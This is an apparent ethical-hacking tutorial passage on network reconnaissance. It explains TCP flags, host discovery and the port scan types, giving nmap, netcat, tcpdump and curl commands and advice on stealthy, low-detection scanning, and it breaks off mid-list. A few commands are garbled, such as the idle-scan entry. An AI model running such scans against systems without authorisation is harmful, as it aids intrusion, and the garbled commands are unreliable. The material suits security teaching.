src="https://substackcdn.com/image/fetch/$s_!8F71!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F180ed0b9-0b82-4390-9c2c-3936956d6ecd_1500x1500.png" width="1456" height="1456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/180ed0b9-0b82-4390-9c2c-3936956d6ecd_1500x1500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:674174,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/170809241?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F180ed0b9-0b82-4390-9c2c-3936956d6ecd_1500x1500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8F71!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F180ed0b9-0b82-4390-9c2c-3936956d6ecd_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!8F71!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F180ed0b9-0b82-4390-9c2c-3936956d6ecd_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!8F71!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F180ed0b9-0b82-4390-9c2c-3936956d6ecd_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!8F71!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F180ed0b9-0b82-4390-9c2c-3936956d6ecd_1500x1500.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>TCP Flags</h3><p>Each TCP segment includes a TCP header, which contains a flags field with six control signals: URG, ACK, PSH, RST, SYN, and FIN. These flags manage data flow, connection establishment, and termination as follows:</p><ul><li><p>URG: Marks urgent data for immediate processing.</p></li><li><p>ACK: Confirms receipt of a segment with a sequence number.</p></li><li><p>PSH: Pushes buffered data to the application without delay.</p></li><li><p>RST: Resets the connection due to an error or invalid state.</p></li><li><p>SYN: Initiates a connection by synchronizing sequence numbers.</p></li><li><p>FIN: Signals the end of data transmission, closing the connection.</p></li></ul><p>TCP flags are single-bit fields in the TCP header that act like switches - they're either "on" (1) or "off" (0). These flags tell the receiving computer how to handle the incoming packet and what state the connection should be in.</p><h3>TCP Header Structure</h3><p>The TCP packet header layout includes fields like:</p><ul><li><p><strong>Source/Destination Port</strong>: Which applications are communicating</p></li><li><p><strong>Sequence Number</strong>: Keeps track of data order</p></li><li><p><strong>Acknowledgment Number</strong>: Confirms what data was received</p></li><li><p><strong>TCP Flags</strong>: The control bits we just discussed</p></li><li><p><strong>Window</strong>: How much data can be sent before waiting for acknowledgment</p></li><li><p><strong>Checksum</strong>: Error detection</p></li><li><p><strong>Options</strong>: Additional TCP features</p></li></ul><p>Next we&#8217;ll talk about how they&#8217;re used to establish a connection between two machines using the TCP 3-Way Handshake.</p><div><hr></div><h2>TCP 3-Way Handshake </h2><p><strong>The TCP 3-way handshake is how two hosts agree to talk.</strong> The host that initiates the connection is called the client, and the host that receives the connection request is called the server. It goes like this:</p><ol><li><p>The client sends a SYN to a server, asking, "Can we connect?"</p></li><li><p>If the server is listening, it replies with a SYN-ACK, saying, "Yes, let's talk."</p></li><li><p>The client sends an ACK, confirming, "We're connected."</p></li></ol><p>After this handshake, both sides know each other's starting point for tracking data. Random sequence numbers prevent attackers from guessing and hijacking the connection.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JtAQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9f8973c-8c08-43cd-8eab-ee429c82081c_1500x1500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JtAQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9f8973c-8c08-43cd-8eab-ee429c82081c_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!JtAQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9f8973c-8c08-43cd-8eab-ee429c82081c_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!JtAQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9f8973c-8c08-43cd-8eab-ee429c82081c_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!JtAQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9f8973c-8c08-43cd-8eab-ee429c82081c_1500x1500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JtAQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9f8973c-8c08-43cd-8eab-ee429c82081c_1500x1500.png" width="1456" height="1456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d9f8973c-8c08-43cd-8eab-ee429c82081c_1500x1500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:678986,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/170809241?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9f8973c-8c08-43cd-8eab-ee429c82081c_1500x1500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!JtAQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9f8973c-8c08-43cd-8eab-ee429c82081c_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!JtAQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9f8973c-8c08-43cd-8eab-ee429c82081c_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!JtAQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9f8973c-8c08-43cd-8eab-ee429c82081c_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!JtAQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9f8973c-8c08-43cd-8eab-ee429c82081c_1500x1500.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In scanning, one host will act as the client and probe target hosts in different ways. The most common approach is a SYN scan, where the scanner sends SYN packets to multiple ports but doesn't complete the full handshake. </p><p>A SYN-ACK response means the port is open, an RST means it's closed, and no response usually means it's filtered. Other scan types include TCP connect scans that do complete the full three-way handshake, and various stealth techniques that manipulate different parts of the TCP process.</p><div><hr></div><h1>Host Discovery Techniques</h1><p>Host discovery techniques identify active systems on a network. These methods help map which devices are online before conducting detailed scans.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_i-p!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0abe069c-3617-4209-b208-a7ad457d4a06_1500x1500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_i-p!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0abe069c-3617-4209-b208-a7ad457d4a06_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!_i-p!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0abe069c-3617-4209-b208-a7ad457d4a06_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!_i-p!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0abe069c-3617-4209-b208-a7ad457d4a06_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!_i-p!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0abe069c-3617-4209-b208-a7ad457d4a06_1500x1500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_i-p!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0abe069c-3617-4209-b208-a7ad457d4a06_1500x1500.png" width="1456" height="1456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0abe069c-3617-4209-b208-a7ad457d4a06_1500x1500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:592042,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/170809241?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0abe069c-3617-4209-b208-a7ad457d4a06_1500x1500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_i-p!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0abe069c-3617-4209-b208-a7ad457d4a06_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!_i-p!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0abe069c-3617-4209-b208-a7ad457d4a06_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!_i-p!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0abe069c-3617-4209-b208-a7ad457d4a06_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!_i-p!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0abe069c-3617-4209-b208-a7ad457d4a06_1500x1500.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>ICMP-Based Scans</h3><p><strong>Internet Control Message Protocol (ICMP)</strong> is a network protocol used for error reporting and network diagnostics. It's what the standard "ping" command uses.</p><p><strong>ICMP Echo Ping</strong> (<code>nmap -sn -PE &lt;Target IP&gt;</code>) sends standard ping requests to hosts. The target responds if it's active and allows ICMP traffic.</p><p><strong>ICMP Timestamp Ping</strong> (<code>nmap -sn -PP &lt;Target IP&gt;</code>) uses timestamp requests instead of echo requests, which may work when regular pings are blocked by firewalls. </p><p><strong>ICMP Address Mask Ping</strong> (<code>nmap -sn -PM &lt;Target IP&gt;</code>) sends address mask queries as another way to detect active hosts.</p><p><strong>ICMP Echo Ping Sweep</strong> (<code>nmap -sn -PE &lt;IP Range&gt;</code>) scans multiple IP addresses at once (like 192.168.1.1-254) to quickly find active hosts across an entire subnet.</p><h3>ARP Scans</h3><p><strong>Address Resolution Protocol (ARP)</strong> translates IP addresses to MAC (physical) addresses on local networks. </p><p><strong>ARP Ping Scan</strong> (<code>nmap -sn -PR &lt;Target IP&gt;</code>) asks "who has this IP address?" and gets responses from active devices. This works very well on local networks since ARP operates below the IP level and bypasses most filtering.</p><h3>UDP Scans</h3><p><strong>User Datagram Protocol (UDP)</strong> is a connectionless network protocol. </p><p><strong>UDP Ping Scan</strong> (<code>nmap -sn -PU &lt;Target IP&gt;</code>) sends UDP packets to closed ports. Active hosts typically respond with "port unreachable" error messages, revealing they're online. </p><h3>IP Protocol Scans</h3><p><strong>IP Protocol Ping Scan</strong> (<code>nmap -sn -PO &lt;Target IP&gt;</code>) tests different IP protocols to see which ones get responses.</p><h3>TCP Scans</h3><p><strong>Transmission Control Protocol (TCP)</strong> is a connection-oriented protocol that establishes reliable connections between devices.</p><p><strong>TCP SYN Ping</strong> (<code>nmap -sn -PS &lt;Target IP&gt;</code>) sends SYN packets (connection requests) to common ports. Active hosts respond with either SYN/ACK (port is open) or RST (port is closed but host is active). </p><p><strong>TCP ACK Ping</strong> (<code>nmap -sn -PA &lt;Target IP&gt;</code>) sends ACK packets (acknowledgment packets), which can bypass some firewalls that expect established connections.</p><h3>Host Discovery Tools</h3><p>Popular alternatives include <a href="https://angryip.org/">Angry IP Scanner</a>, <a href="https://www.solarwinds.com/engineers-toolset">SolarWinds Engineer's Toolset</a>, <a href="https://www.netscantools.com/nstpromain.html">NetScanTools Pro</a>, <a href="https://www.colasoft.com/ping_tool/">Colasoft Ping Tool</a>, <a href="https://www.advanced-ip-scanner.com/">Advanced IP Scanner</a>, and <a href="https://www.manageengine.com/products/oputils/">OpUtils</a>. These provide graphical interfaces and additional features for network discovery.</p><div><hr></div><h2>Finding Live Hosts with Open Ports and Services</h2><p>After identifying live hosts through discovery techniques, the next critical step is determining which ports are open and what services are running on them. </p><p>This information reveals potential entry points and attack vectors that can be exploited in later phases of ethical hacking.</p><p>You can think of ports as numbered doorways on a computer. Each service (application or process) listens on specific port numbers to communicate with other systems. Common services and their default ports include:</p><ul><li><p><strong>FTP (Port 21)</strong>: File Transfer Protocol for uploading and downloading files</p></li><li><p><strong>SSH (Port 22)</strong>: Secure Shell for encrypted remote access</p></li><li><p><strong>Telnet (Port 23)</strong>: Unencrypted remote terminal access</p></li><li><p><strong>SMTP (Port 25)</strong>: Simple Mail Transfer Protocol for sending email</p></li><li><p><strong>DNS (Port 53)</strong>: Domain Name System for resolving domain names</p></li><li><p><strong>HTTP (Port 80)</strong>: Hypertext Transfer Protocol for web traffic</p></li><li><p><strong>POP3 (Port 110)</strong>: Post Office Protocol for retrieving email</p></li><li><p><strong>HTTPS (Port 443)</strong>: Secure HTTP with SSL/TLS encryption</p></li><li><p><strong>SMB (Port 445)</strong>: Server Message Block for file sharing</p></li></ul><p>Identifying these services helps determine which vulnerabilities might exist and what exploitation techniques could be effective.</p><h2>Port Scanning</h2><p><strong>Port scanning</strong> involves sending specially crafted packets to target ports and analyzing the responses. The responses tell us three possible states:</p><ul><li><p><strong>Open</strong>: The port is actively listening and accepting connections</p></li><li><p><strong>Closed</strong>: The port is not listening but the host responded</p></li><li><p><strong>Filtered</strong>: The port may be open but a firewall is blocking access</p></li></ul><div><hr></div><h2>Types of Port Scans</h2><p>Port scanning techniques are categorized according to the type of protocol used for communication and their approach to network reconnaissance.</p><p><strong>The scans we&#8217;ll cover in depth below include:</strong></p><ul><li><p><strong>TCP Scanning</strong></p><ul><li><p>Open TCP Scanning Methods</p><ul><li><p>TCP Connect / Full Open Scan</p></li></ul></li><li><p>Stealth TCP Scanning Methods</p><ul><li><p>Half-open Scan</p></li><li><p>Inverse TCP Flag Scan</p><ul><li><p>Xmas Scan</p></li><li><p>FIN Scan</p></li><li><p>NULL Scan</p></li><li><p>Maimon Scan</p></li></ul></li><li><p>ACK Flag Probe Scan</p><ul><li><p>TTL-based Scan</p></li><li><p>Window Scan</p></li></ul></li></ul></li><li><p>Third Party and Spoofed TCP Scanning Methods</p><ul><li><p>IDLE APID Header Scan</p></li></ul></li></ul></li><li><p><strong>UDP Scanning</strong></p><ul><li><p>UDP Scanning</p></li></ul></li><li><p><strong>SCTP Scanning</strong></p><ul><li><p>SCTP INIT Scanning</p></li><li><p>SCTP COOKIE ECHO Scanning</p></li></ul></li><li><p><strong>SSDP Scanning</strong></p></li><li><p><strong>IPv6 Scanning</strong></p></li></ul><div><hr></div><h3>TCP Scanning</h3><h4>Open TCP Scanning Methods</h4><p><strong>TCP Connect / Full Open Scan -</strong> Complete three-way handshake connection to determine port status. This is the most reliable scanning method but is easily logged and detected by security systems. A full scan completes the TCP 3-way handshake, leaving a clear trace in logs and connection records.</p><pre><code><code>nmap -sT -v &lt;Target IP&gt;</code></code></pre><h4>Stealth TCP Scanning Methods</h4><p><strong>Half-open Scan -</strong> A half-open scan, also known as a SYN scan, is a stealth scanning technique that doesn't complete the full TCP connection process. </p><p>Instead of performing the complete three-way handshake (SYN &#8594; SYN-ACK &#8594; ACK), it performs only the first two steps: sends SYN, receives SYN-ACK from open ports, then immediately drops the connection without sending the final ACK. </p><p>This leaves the connection in a "half-open" state. To stay unnoticed, prefer a half open scan over a full open scan. A half open scan is also faster than a full open scan, saving milliseconds per IP, making it ideal for scanning large networks stealthily.</p><pre><code><code>nmap -sS -v &lt;Target IP&gt;</code></code></pre><h5>Inverse TCP Flag Scans</h5><p>A sub-category of stealth scanning techniques that uses non-standard TCP flag combinations to evade detection and identify port states by exploiting RFC compliance variations in different operating systems.</p><p><strong>Xmas Scan -</strong> Sends packets with FIN, PSH, and URG flags set simultaneously to bypass certain firewall configurations. </p><pre><code><code>nmap -sX -v &lt;Target IP&gt;</code></code></pre><p><strong>FIN Scan -</strong> Sends packets with only FIN flag set. Closed ports respond with RST packets while open ports typically ignore. </p><pre><code><code>nmap -sF -v &lt;Target IP&gt;</code></code></pre><p><strong>NULL Scan -</strong> Sends packets with no TCP flags set to identify port states based on response patterns. </p><pre><code><code>nmap -sN -v &lt;Target IP&gt;</code></code></pre><p><strong>Maimon Scan -</strong> Sends FIN/ACK packets to exploit specific TCP stack implementations for port detection. </p><pre><code><code>nmap -sM -v &lt;Target IP&gt;</code></code></pre><h5><strong>ACK Flag Probe Scans</strong></h5><p>A sub-category of stealth scanning techniques that sends packets with ACK flag set to map firewall rules and determine packet filtering behavior.</p><p><strong>TTL-based Scan -</strong> Manipulates Time-To-Live values to analyze network topology and firewall behavior patterns. </p><pre><code><code>nmap -sA -ttl 100 -v &lt;Target IP&gt;</code></code></pre><p><strong>Window Scan -</strong> Examines TCP window size in RST responses to differentiate between open and closed ports on certain systems. </p><pre><code><code>nmap -sW -v &lt;Target IP&gt;</code></code></pre><div><hr></div><h4>Third Party and Spoofed TCP Scanning Methods</h4><p><strong>IDLE APID Header Scan -</strong> Uses idle host as intermediary to perform stealth scanning while hiding the actual source address.</p><pre><code>nmap -Pn -p- -sl &lt;Zombie&gt;&lt;Target&gt;</code></pre><div><hr></div><h3>UDP Scanning</h3><p><strong>UDP Scanning -</strong> Scans UDP ports by sending UDP packets and analyzing ICMP responses to determine port states. </p><pre><code>nmap -sU &lt;Target IP&gt;</code></pre><div><hr></div><h3>SCTP Scanning</h3><p><strong>SCTP INIT Scanning -</strong> Uses SCTP INIT chunks to scan Stream Control Transmission Protocol ports, commonly found in telecom systems.</p><pre><code>nmap -sY -v &lt;Target IP&gt;</code></pre><p><strong>SCTP COOKIE ECHO Scanning -</strong> Employs SCTP COOKIE ECHO chunks for more stealthy SCTP port scanning than INIT method. </p><pre><code>nmap -sZ -v &lt;Target IP&gt;</code></pre><div><hr></div><h3>SSDP Scanning</h3><p><strong>SSDP Scanning -</strong> Simple Service Discovery Protocol scanning to identify UPnP devices and services on the network.</p><pre><code>nmap -sU -v &lt;Target IP&gt;</code></pre><div><hr></div><h3>IPv6 Scanning</h3><p><strong>IPv6 Scanning -</strong> Performs port scanning on IPv6 addresses to discover services on next-generation IP implementations. </p><pre><code>nmap -6 &lt;Target IP/Domain&gt;</code></pre><div><hr></div><h2>Scan Aggressiveness</h2><p>Scan aggressiveness refers to how quickly and intensively nmap sends packets during a scan. The timing templates control several factors:</p><ul><li><p><strong>Packet transmission rate</strong> - How fast packets are sent</p></li><li><p><strong>Parallelization</strong> - How many simultaneous probes are sent</p></li><li><p><strong>Timeout values</strong> - How long to wait for responses</p></li><li><p><strong>Retry attempts</strong> - How many times to retry failed probes</p></li></ul><p>You can control the aggressiveness of the scan by using the timing parameter -T flag which goes from 1-5. A 1 is the stealthiest, with 5 being most aggressive and less stealthy.</p><p><strong>Lower -T values are more stealthy</strong> because they send packets slowly with longer delays, blending into normal network traffic patterns and reducing detection probability. However, they take significantly longer to complete.</p><p><strong>Higher -T values send packets more frequently and in parallel,</strong> completing scans faster but creating more network noise that firewalls and intrusion detection systems can easily spot.</p><p><strong>For stealth operations:</strong></p><pre><code><code>nmap -sS -T1 &lt;target&gt;</code></code></pre><p><strong>For internal network assessments where speed matters more:</strong></p><pre><code><code>nmap -sS -T4 &lt;target&gt;</code></code></pre><p>The SYN scan (-sS) is particularly effective because it's both stealthier and faster than full TCP handshake scans (-sT).</p><div><hr></div><h1>Service Version Detection Techniques</h1><p>A service is a binary or application running in the background. On Linux, these are often called daemons. Knowing what services are running on a host enables us to identify vulnerabilities in those services for use in later phases of ethical hacking.</p><h2>Service Version Discovery with NMAP</h2><p>For service version discovery, we run -sV (service version) against an IP address using tools like Nmap. This command probes open ports to determine the service and its version (e.g., Apache 2.4.18 or OpenSSH 7.6).</p><pre><code><code>nmap -sV &lt;target_ip&gt;</code></code></pre><p>This scan performs advanced service fingerprinting that includes banner analysis plus additional probes and signature matching for more accurate identification.</p><div><hr></div><h1>Identifying the Target OS</h1><p>Knowing the operating system (e.g., Windows, Linux) helps identify possible exploit choices and attack vectors. Below, you&#8217;ll find the most common OS discovery methods.</p><h2>Banner Grabbing</h2><p>A banner is a message that a service sends when a connection is established. It typically contains information about the service name, version, and sometimes the underlying operating system.</p><p>Banner grabbing is the technique of capturing these banners to gather information about services and systems during the reconnaissance phase of penetration testing or security assessment.</p><h3>Active Banner Grabbing:</h3><p>Active banner grabbing involves directly connecting to target services and requesting banner information. This method is more detectable but provides immediate results. Packets are sent to the target machine, and the response varies based on the OS used, due to differences in the TCP/IP stack implementation.</p><p>Different operating systems implement TCP/IP stacks with slight variations in default values, packet structure, and response timing, making it possible to fingerprint the OS through banner analysis.</p><h4>Banner Grabbing with Telnet</h4><p>Telnet command opens a connection and displays any banner the service sends.</p><pre><code><code>telnet &lt;target_ip&gt; &lt;port&gt;</code></code></pre><h4><strong>Banner Grabbing with Netcat:</strong></h4><p>This establishes a raw connection to the service and displays any banner text it sends upon connection.</p><pre><code><code>nc &lt;target_ip&gt; &lt;port&gt;</code></code></pre><h4><strong>Banner Grabbing with NMAP:</strong></h4><pre><code><code>nmap -sC target_ip
nmap --script=banner target_ip</code></code></pre><h3>Passive Banner Grabbing:</h3><p>Passive banner grabbing involves collecting information without directly interacting with the target system, making it less detectable. It does not require direct interaction with the target system.</p><h4>Banner Grabbing from Error Messages</h4><p>Error messages provide information such as the type of server, type of OS, and SSL tool used by the target remote system.</p><p><strong>Common error message sources:</strong></p><ul><li><p>404 Not Found pages revealing web server versions</p></li><li><p>SSL/TLS certificate errors showing server software</p></li><li><p>Database connection errors exposing database types</p></li><li><p>Application errors revealing framework versions</p></li></ul><h4><strong>Sniffing Network Traffic</strong></h4><p>Banner grabbing by sniffing network traffic involves capturing and analyzing network packets to extract banner information from legitimate connections without initiating direct contact with the target.</p><pre><code>sudo tcpdump -A host <code>&lt;target_ip&gt;</code> | grep -i "server:"</code></pre><h4><strong>Banner Grabbing from Page Extensions</strong></h4><p>Looking for file extensions in URLs may assist in determining the application's version and underlying technology. Page extension banner grabbing is only for web servers (port 80/443) because it relies on HTML content and URLs.</p><pre><code>curl -s <code>&lt;target_url&gt;</code> | grep -o 'href="[^"]*\.[a-zA-Z]*"'</code></pre><p><strong>Common indicators:</strong></p><ul><li><p><code>.aspx</code> &#8594; IIS server and Windows platform</p></li><li><p><code>.php</code> &#8594; PHP and likely 